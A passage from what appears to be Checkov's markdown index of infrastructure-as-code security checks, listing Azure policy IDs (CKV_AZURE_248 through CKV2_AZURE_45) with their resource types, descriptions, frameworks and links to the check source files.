Services account hosted with OpenAI is configured with data loss prevention                                                                                                  | Terraform               | [OpenAICognitiveServicesRestrictOutboundNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/OpenAICognitiveServicesRestrictOutboundNetwork.py)                                 |\n| 6208 | CKV_AZURE_248            | resource                         | Microsoft.Batch/batchAccounts                                                                    | Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny'                                                                                        | arm                     | [AzureBatchAccountEndpointAccessDefaultAction.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountEndpointAccessDefaultAction.py)                                                 |\n| 6209 | CKV_AZURE_248            | resource                         | Microsoft.Batch/batchAccounts                                                                    | Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny'                                                                                        | Bicep                   | [AzureBatchAccountEndpointAccessDefaultAction.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountEndpointAccessDefaultAction.py)                                                 |\n| 6210 | CKV_AZURE_248            | resource                         | azurerm_batch_account                                                                            | Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny'                                                                                        | Terraform               | [AzureBatchAccountEndpointAccessDefaultAction.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureBatchAccountEndpointAccessDefaultAction.py)                                     |\n| 6211 | CKV_AZURE_249            | resource                         | azuread_application_federated_identity_credential                                                | Ensure Azure GitHub Actions OIDC trust policy is configured securely                                                                                                                                     | Terraform               | [GithubActionsOIDCTrustPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/GithubActionsOIDCTrustPolicy.py)                                                                     |\n| 6212 | CKV_AZURE_250            | resource                         | azurerm_storage_sync                                                                             | Ensure Storage Sync Service is not configured with overly permissive network access                                                                                                                      | Terraform               | [StorageSyncServicePermissiveAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageSyncServicePermissiveAccess.py)                                                         |\n| 6213 | CKV_AZURE_251            | resource                         | azurerm_managed_disk                                                                             | Ensure Azure Virtual Machine disks are configured without public network access                                                                                                                          | Terraform               | [VMDiskWithPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMDiskWithPublicAccess.py)                                                                                 |\n| 6214 | CKV2_AZURE_1             | resource                         | azurerm_storage_account                                                                          | Ensure storage for critical data are encrypted with Customer Managed Key                                                                                                                                 | Terraform               | [StorageCriticalDataEncryptedCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageCriticalDataEncryptedCMK.yaml)                                                       |\n| 6215 | CKV2_AZURE_2             | resource                         | azurerm_mssql_server                                                                             | Ensure that Vulnerability Assessment (VA) is enabled on a SQL server by setting a Storage Account                                                                                                        | Terraform               | [VAisEnabledInStorageAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAisEnabledInStorageAccount.yaml)                                                               |\n| 6216 | CKV2_AZURE_2             | resource                         | azurerm_mssql_server_security_alert_policy                                                       | Ensure that Vulnerability Assessment (VA) is enabled on a SQL server by setting a Storage Account                                                                                                        | Terraform               | [VAisEnabledInStorageAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAisEnabledInStorageAccount.yaml)                                                               |\n| 6217 | CKV2_AZURE_2             | resource                         | azurerm_sql_server                                                                               | Ensure that Vulnerability Assessment (VA) is enabled on a SQL server by setting a Storage Account                                                                                                        | Terraform               | [VAisEnabledInStorageAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAisEnabledInStorageAccount.yaml)                                                               |\n| 6218 | CKV2_AZURE_3             | resource                         | azurerm_mssql_server                                                                             | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server                                                                                                                               | Terraform               | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml)                                                                       |\n| 6219 | CKV2_AZURE_3             | resource                         | azurerm_mssql_server_security_alert_policy                                                       | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server                                                                                                                               | Terraform               | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml)                                                                       |\n| 6220 | CKV2_AZURE_3             | resource                         | azurerm_mssql_server_vulnerability_assessment                                                    | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server                                                                                                                               | Terraform               | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml)                                                                       |\n| 6221 | CKV2_AZURE_3             | resource                         | azurerm_sql_server                                                                               | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server                                                                                                                               | Terraform               | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml)                                                                       |\n| 6222 | CKV2_AZURE_4             | resource                         | azurerm_mssql_server                                                                             | Ensure Azure SQL server ADS VA Send scan reports to is configured                                                                                                                                        | Terraform               | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml)                                                                   |\n| 6223 | CKV2_AZURE_4             | resource                         | azurerm_mssql_server_security_alert_policy                                                       | Ensure Azure SQL server ADS VA Send scan reports to is configured                                                                                                                                        | Terraform               | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml)                                                                   |\n| 6224 | CKV2_AZURE_4             | resource                         | azurerm_mssql_server_vulnerability_assessment                                                    | Ensure Azure SQL server ADS VA Send scan reports to is configured                                                                                                                                        | Terraform               | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml)                                                                   |\n| 6225 | CKV2_AZURE_4             | resource                         | azurerm_sql_server                                                                               | Ensure Azure SQL server ADS VA Send scan reports to is configured                                                                                                                                        | Terraform               | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml)                                                                   |\n| 6226 | CKV2_AZURE_5             | resource                         | azurerm_mssql_server                                                                             | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server                                                                                         | Terraform               | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml)                                                   |\n| 6227 | CKV2_AZURE_5             | resource                         | azurerm_mssql_server_security_alert_policy                                                       | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server                                                                                         | Terraform               | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml)                                                   |\n| 6228 | CKV2_AZURE_5             | resource                         | azurerm_mssql_server_vulnerability_assessment                                                    | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server                                                                                         | Terraform               | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml)                                                   |\n| 6229 | CKV2_AZURE_5             | resource                         | azurerm_sql_server                                                                               | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server                                                                                         | Terraform               | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml)                                                   |\n| 6230 | CKV2_AZURE_6             | resource                         | azurerm_sql_firewall_rule                                                                        | Ensure 'Allow access to Azure services' for PostgreSQL Database Server is disabled                                                                                                                       | Terraform               | [AccessToPostgreSQLFromAzureServicesIsDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AccessToPostgreSQLFromAzureServicesIsDisabled.yaml)                           |\n| 6231 | CKV2_AZURE_6             | resource                         | azurerm_sql_server                                                                               | Ensure 'Allow access to Azure services' for PostgreSQL Database Server is disabled                                                                                                                       | Terraform               | [AccessToPostgreSQLFromAzureServicesIsDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AccessToPostgreSQLFromAzureServicesIsDisabled.yaml)                           |\n| 6232 | CKV2_AZURE_7             | resource                         | azurerm_sql_server                                                                               | Ensure that Azure Active Directory Admin is configured                                                                                                                                                   | Terraform               | [AzureActiveDirectoryAdminIsConfigured.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureActiveDirectoryAdminIsConfigured.yaml)                                           |\n| 6233 | CKV2_AZURE_8             | resource                         | azurerm_monitor_activity_log_alert                                                               | Ensure the storage container storing the activity logs is not publicly accessible                                                                                                                        | Terraform               | [StorageContainerActivityLogsNotPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageContainerActivityLogsNotPublic.yaml)                                           |\n| 6234 | CKV2_AZURE_8             | resource                         | azurerm_storage_account                                                                          | Ensure the storage container storing the activity logs is not publicly accessible                                                                                                                        | Terraform               | [StorageContainerActivityLogsNotPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageContainerActivityLogsNotPublic.yaml)                                           |\n| 6235 | CKV2_AZURE_8             | resource                         | azurerm_storage_container                                                                        | Ensure the storage container storing the activity logs is not publicly accessible                                                                                                                        | Terraform               | [StorageContainerActivityLogsNotPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageContainerActivityLogsNotPublic.yaml)                                           |\n| 6236 | CKV2_AZURE_9             | resource                         | azurerm_virtual_machine                                                                          | Ensure Virtual Machines are utilizing Managed Disks                                                                                                                                                      | Terraform               | [VirtualMachinesUtilizingManagedDisks.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VirtualMachinesUtilizingManagedDisks.yaml)                                             |\n| 6237 | CKV2_AZURE_10            | resource                         | azurerm_virtual_machine                                                                          | Ensure that Microsoft Antimalware is configured to automatically updates for Virtual Machines                                                                                                            | Terraform               | [AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml)                   |\n| 6238 | CKV2_AZURE_10            | resource                         | azurerm_virtual_machine_extension                                                                | Ensure that Microsoft Antimalware is configured to automatically updates for Virtual Machines                                                                                                            | Terraform               | [AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml)                   |\n| 6239 | CKV2_AZURE_11            | resource                         | azurerm_kusto_cluster                                                                            | Ensure that Azure Data Explorer encryption at rest uses a customer-managed key                                                                                                                           | Terraform               | [DataExplorerEncryptionUsesCustomKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/DataExplorerEncryptionUsesCustomKey.yaml)                                               |\n| 6240 | CKV2_AZURE_12            | resource                         | azurerm_virtual_machine                                                                          | Ensure that virtual machines are backed up using Azure Backup                                                                                                                                            | Terraform               | [VMHasBackUpMachine.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VMHasBackUpMachine.yaml)                                                                                 |\n| 6241 | CKV2_AZURE_13            | resource                         | azurerm_mssql_server_security_alert_policy                                                       | Ensure that sql servers enables data security policy                                                                                                                                                     | Terraform               | [AzureMSSQLServerHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMSSQLServerHasSecurityAlertPolicy.yaml)                                         |\n| 6242 | CKV2_AZURE_13            | resource                         | azurerm_sql_server                                                                               | Ensure that sql servers enables data security policy                                                                                                                                                     | Terraform               | [AzureMSSQLServerHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMSSQLServerHasSecurityAlertPolicy.yaml)                                         |\n| 6243 | CKV2_AZURE_14            | resource                         | azurerm_managed_disk                                                                             | Ensure that Unattached disks are encrypted                                                                                                                                                               | Terraform               | [AzureUnattachedDisksAreEncrypted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureUnattachedDisksAreEncrypted.yaml)                                                     |\n| 6244 | CKV2_AZURE_14            | resource                         | azurerm_virtual_machine                                                                          | Ensure that Unattached disks are encrypted                                                                                                                                                               | Terraform               | [AzureUnattachedDisksAreEncrypted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureUnattachedDisksAreEncrypted.yaml)                                                     |\n| 6245 | CKV2_AZURE_15            | resource                         | azurerm_data_factory                                                                             | Ensure that Azure data factories are encrypted with a customer-managed key                                                                                                                               | Terraform               | [AzureDataFactoriesEncryptedWithCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureDataFactoriesEncryptedWithCustomerManagedKey.yaml)                   |\n| 6246 | CKV2_AZURE_16            | resource                         | azurerm_mysql_server                                                                             | Ensure that MySQL server enables customer-managed key for encryption                                                                                                                                     | Terraform               | [MSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/MSQLenablesCustomerManagedKey.yaml)                                                           |\n| 6247 | CKV2_AZURE_16            | resource                         | azurerm_mysql_server_key                                                                         | Ensure that MySQL server enables customer-managed key for encryption                                                                                                                                     | Terraform               | [MSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/MSQLenablesCustomerManagedKey.yaml)                                                           |\n| 6248 | CKV2_AZURE_17            | resource                         | azurerm_postgresql_server                                                                        | Ensure that PostgreSQL server enables customer-managed key for encryption                                                                                                                                | Terraform               | [PGSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/PGSQLenablesCustomerManagedKey.yaml)                                                         |\n| 6249 | CKV2_AZURE_17            | resource                         | azurerm_postgresql_server_key                                                                    | Ensure that PostgreSQL server enables customer-managed key for encryption                                                                                                                                | Terraform               | [PGSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/PGSQLenablesCustomerManagedKey.yaml)                                                         |\n| 6250 | CKV2_AZURE_19            | resource                         | Microsoft.Synapse/workspaces                                                                     | Ensure that Azure Synapse workspaces have no IP firewall rules attached                                                                                                                                  | arm                     | [AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py)                                   |\n| 6251 | CKV2_AZURE_19            | resource                         | Microsoft.Synapse/workspaces                                                                     | Ensure that Azure Synapse workspaces have no IP firewall rules attached                                                                                                                                  | Bicep                   | [AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py)                                   |\n| 6252 | CKV2_AZURE_19            | resource                         | azurerm_synapse_workspace                                                                        | Ensure that Azure Synapse workspaces have no IP firewall rules attached                                                                                                                                  | Terraform               | [AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.yaml)               |\n| 6253 | CKV2_AZURE_20            | resource                         | azurerm_log_analytics_storage_insights                                                           | Ensure Storage logging is enabled for Table service for read requests                                                                                                                                    | Terraform               | [StorageLoggingIsEnabledForTableService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForTableService.yaml)                                         |\n| 6254 | CKV2_AZURE_20            | resource                         | azurerm_storage_account                                                                          | Ensure Storage logging is enabled for Table service for read requests                                                                                                                                    | Terraform               | [StorageLoggingIsEnabledForTableService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForTableService.yaml)                                         |\n| 6255 | CKV2_AZURE_20            | resource                         | azurerm_storage_table                                                                            | Ensure Storage logging is enabled for Table service for read requests                                                                                                                                    | Terraform               | [StorageLoggingIsEnabledForTableService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForTableService.yaml)                                         |\n| 6256 | CKV2_AZURE_21            | resource                         | azurerm_log_analytics_storage_insights                                                           | Ensure Storage logging is enabled for Blob service for read requests                                                                                                                                     | Terraform               | [StorageLoggingIsEnabledForBlobService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForBlobService.yaml)                                           |\n| 6257 | CKV2_AZURE_21            | resource                         | azurerm_storage_account                                                                          | Ensure Storage logging is enabled for Blob service for read requests                                                                                                                                     | Terraform               | [StorageLoggingIsEnabledForBlobService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForBlobService.yaml)                                           |\n| 6258 | CKV2_AZURE_21            | resource                         | azurerm_storage_container                                                                        | Ensure Storage logging is enabled for Blob service for read requests                                                                                                                                     | Terraform               | [StorageLoggingIsEnabledForBlobService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForBlobService.yaml)                                           |\n| 6259 | CKV2_AZURE_22            | resource                         | azurerm_cognitive_account                                                                        | Ensure that Cognitive Services enables customer-managed key for encryption                                                                                                                               | Terraform               | [CognitiveServicesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/CognitiveServicesCustomerManagedKey.yaml)                                               |\n| 6260 | CKV2_AZURE_22            | resource                         | azurerm_cognitive_account_customer_managed_key                                                   | Ensure that Cognitive Services enables customer-managed key for encryption                                                                                                                               | Terraform               | [CognitiveServicesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/CognitiveServicesCustomerManagedKey.yaml)                                               |\n| 6261 | CKV2_AZURE_23            | resource                         | Microsoft.AppPlatform/Spring                                                                     | Ensure Azure spring cloud is configured with Virtual network (Vnet)                                                                                                                                      | arm                     | [AzureSpringCloudConfigWithVnet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/AzureSpringCloudConfigWithVnet.yaml)                                                                     |\n| 6262 | CKV2_AZURE_23            | resource                         | azurerm_spring_cloud_service                                                                     | Ensure Azure spring cloud is configured with Virtual network (Vnet)                                                                                                                                      | Terraform               | [AzureSpringCloudConfigWithVnet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSpringCloudConfigWithVnet.yaml)                                                         |\n| 6263 | CKV2_AZURE_24            | resource                         | azurerm_automation_account                                                                       | Ensure Azure automation account does NOT have overly permissive network access                                                                                                                           | Terraform               | [AzureAutomationAccNotOverlyPermissiveNetAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAutomationAccNotOverlyPermissiveNetAccess.yaml)                         |\n| 6264 | CKV2_AZURE_25            | resource                         | azurerm_mssql_database                                                                           | Ensure Azure SQL database Transparent Data Encryption (TDE) is enabled                                                                                                                                   | Terraform               | [AzureSqlDbEnableTransparentDataEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSqlDbEnableTransparentDataEncryption.yaml)                                   |\n| 6265 | CKV2_AZURE_26            | resource                         | azurerm_postgresql_flexible_server_firewall_rule                                                 | Ensure Azure PostgreSQL Flexible server is not configured with overly permissive network access                                                                                                          | Terraform               | [AzurePostgreSQLFlexServerNotOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLFlexServerNotOverlyPermissive.yaml)                             |\n| 6266 | CKV2_AZURE_27            | resource                         | Microsoft.Sql/servers                                                                            | Ensure Azure AD authentication is enabled for Azure SQL (MSSQL)                                                                                                                                          | arm                     | [SQLServerUsesADAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerUsesADAuth.py)                                                                                                   |\n| 6267 | CKV2_AZURE_27            | resource                         | Microsoft.Sql/servers                                                                            | Ensure Azure AD authentication is enabled for Azure SQL (MSSQL)                                                                                                                                          | Bicep                   | [SQLServerUsesADAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerUsesADAuth.py)                                                                                                   |\n| 6268 | CKV2_AZURE_27            | resource                         | azurerm_mssql_server                                                                             | Ensure Azure AD authentication is enabled for Azure SQL (MSSQL)                                                                                                                                          | Terraform               | [AzureConfigMSSQLwithAD.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureConfigMSSQLwithAD.yaml)                                                                         |\n| 6269 | CKV2_AZURE_28            | resource                         | azurerm_container_group                                                                          | Ensure Container Instance is configured with managed identity                                                                                                                                            | Terraform               | [AzureContainerInstanceconfigManagedIdentity.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureContainerInstanceconfigManagedIdentity.yaml)                               |\n| 6270 | CKV2_AZURE_29            | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure AKS cluster has Azure CNI networking enabled                                                                                                                                                      | Terraform               | [AzureAKSclusterAzureCNIEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAKSclusterAzureCNIEnabled.yaml)                                                         |\n| 6271 | CKV2_AZURE_30            | resource                         | azurerm_container_registry_webhook                                                               | Ensure Azure Container Registry (ACR) has HTTPS enabled for webhook                                                                                                                                      | Terraform               | [AzureACR_HTTPSwebhook.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureACR_HTTPSwebhook.yaml)                                                                           |\n| 6272 | CKV2_AZURE_31            | resource                         | azurerm_subnet                                                                                   | Ensure VNET subnet is configured with a Network Security Group (NSG)                                                                                                                                     | Terraform               | [AzureSubnetConfigWithNSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSubnetConfigWithNSG.yaml)                                                                     |\n| 6273 | CKV2_AZURE_32            | resource                         | azurerm_key_vault                                                                                | Ensure private endpoint is configured to key vault                                                                                                                                                       | Terraform               | [AzureKeyVaultConfigPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureKeyVaultConfigPrivateEndpoint.yaml)                                                 |\n| 6274 | CKV2_AZURE_33            | resource                         | azurerm_storage_account                                                                          | Ensure storage account is configured with private endpoint                                                                                                                                               | Terraform               | [AzureStorageAccConfigWithPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigWithPrivateEndpoint.yaml)                                     |\n| 6275 | CKV2_AZURE_34            | resource                         | azurerm_mssql_firewall_rule                                                                      | Ensure Azure SQL server firewall is not overly permissive                                                                                                                                                | Terraform               | [AzureSQLserverNotOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSQLserverNotOverlyPermissive.yaml)                                                   |\n| 6276 | CKV2_AZURE_34            | resource                         | azurerm_sql_firewall_rule                                                                        | Ensure Azure SQL server firewall is not overly permissive                                                                                                                                                | Terraform               | [AzureSQLserverNotOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSQLserverNotOverlyPermissive.yaml)                                                   |\n| 6277 | CKV2_AZURE_35            | resource                         | azurerm_recovery_services_vault                                                                  | Ensure Azure recovery services vault is configured with managed identity                                                                                                                                 | Terraform               | [AzureRecoveryServicesvaultConfigManagedIdentity.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureRecoveryServicesvaultConfigManagedIdentity.yaml)                       |\n| 6278 | CKV2_AZURE_36            | resource                         | azurerm_automation_account                                                                       | Ensure Azure automation account is configured with managed identity                                                                                                                                      | Terraform               | [AzureAutomationAccConfigManagedIdentity.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAutomationAccConfigManagedIdentity.yaml)                                       |\n| 6279 | CKV2_AZURE_37            | resource                         | azurerm_mariadb_server                                                                           | Ensure Azure MariaDB server is using latest TLS (1.2)                                                                                                                                                    | Terraform               | [AzureMariaDBserverUsingTLS_1_2.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMariaDBserverUsingTLS_1_2.yaml)                                                         |\n| 6280 | CKV2_AZURE_38            | resource                         | azurerm_storage_account                                                                          | Ensure soft-delete is enabled on Azure storage account                                                                                                                                                   | Terraform               | [AzureStorageAccountEnableSoftDelete.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccountEnableSoftDelete.yaml)                                               |\n| 6281 | CKV2_AZURE_39            | resource                         | azurerm_linux_virtual_machine                                                                    | Ensure Azure VM is not configured with public IP and serial console access                                                                                                                               | Terraform               | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml)                                   |\n| 6282 | CKV2_AZURE_39            | resource                         | azurerm_network_interface                                                                        | Ensure Azure VM is not configured with public IP and serial console access                                                                                                                               | Terraform               | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml)                                   |\n| 6283 | CKV2_AZURE_39            | resource                         | azurerm_virtual_machine                                                                          | Ensure Azure VM is not configured with public IP and serial console access                                                                                                                               | Terraform               | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml)                                   |\n| 6284 | CKV2_AZURE_39            | resource                         | azurerm_windows_virtual_machine                                                                  | Ensure Azure VM is not configured with public IP and serial console access                                                                                                                               | Terraform               | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml)                                   |\n| 6285 | CKV2_AZURE_40            | resource                         | azurerm_storage_account                                                                          | Ensure storage account is not configured with Shared Key authorization                                                                                                                                   | Terraform               | [AzureStorageAccConfigSharedKeyAuth.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigSharedKeyAuth.yaml)                                                 |\n| 6286 | CKV2_AZURE_41            | resource                         | azurerm_storage_account                                                                          | Ensure storage account is configured with SAS expiration policy                                                                                                                                          | Terraform               | [AzureStorageAccConfig_SAS_expirePolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfig_SAS_expirePolicy.yaml)                                         |\n| 6287 | CKV2_AZURE_42            | resource                         | azurerm_postgresql_server                                                                        | Ensure Azure PostgreSQL server is configured with private endpoint                                                                                                                                       | Terraform               | [AzurePostgreSQLserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLserverConfigPrivEndpt.yaml)                                             |\n| 6288 | CKV2_AZURE_43            | resource                         | azurerm_mariadb_server                                                                           | Ensure Azure MariaDB server is configured with private endpoint                                                                                                                                          | Terraform               | [AzureMariaDBserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMariaDBserverConfigPrivEndpt.yaml)                                                   |\n| 6289 | CKV2_AZURE_44            | resource                         | azurerm_mysql_server                                                                             | Ensure Azure MySQL server is configured with private endpoint                                                                                                                                            | Terraform               | [AzureMySQLserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMySQLserverConfigPrivEndpt.yaml)                                                       |\n| 6290 | CKV2_AZURE_45            | resource                         | azurerm_mssql_server                                                                             | Ensure Microsoft SQL server is configured with private endpoint                                                                                                                                          | Terraform               | 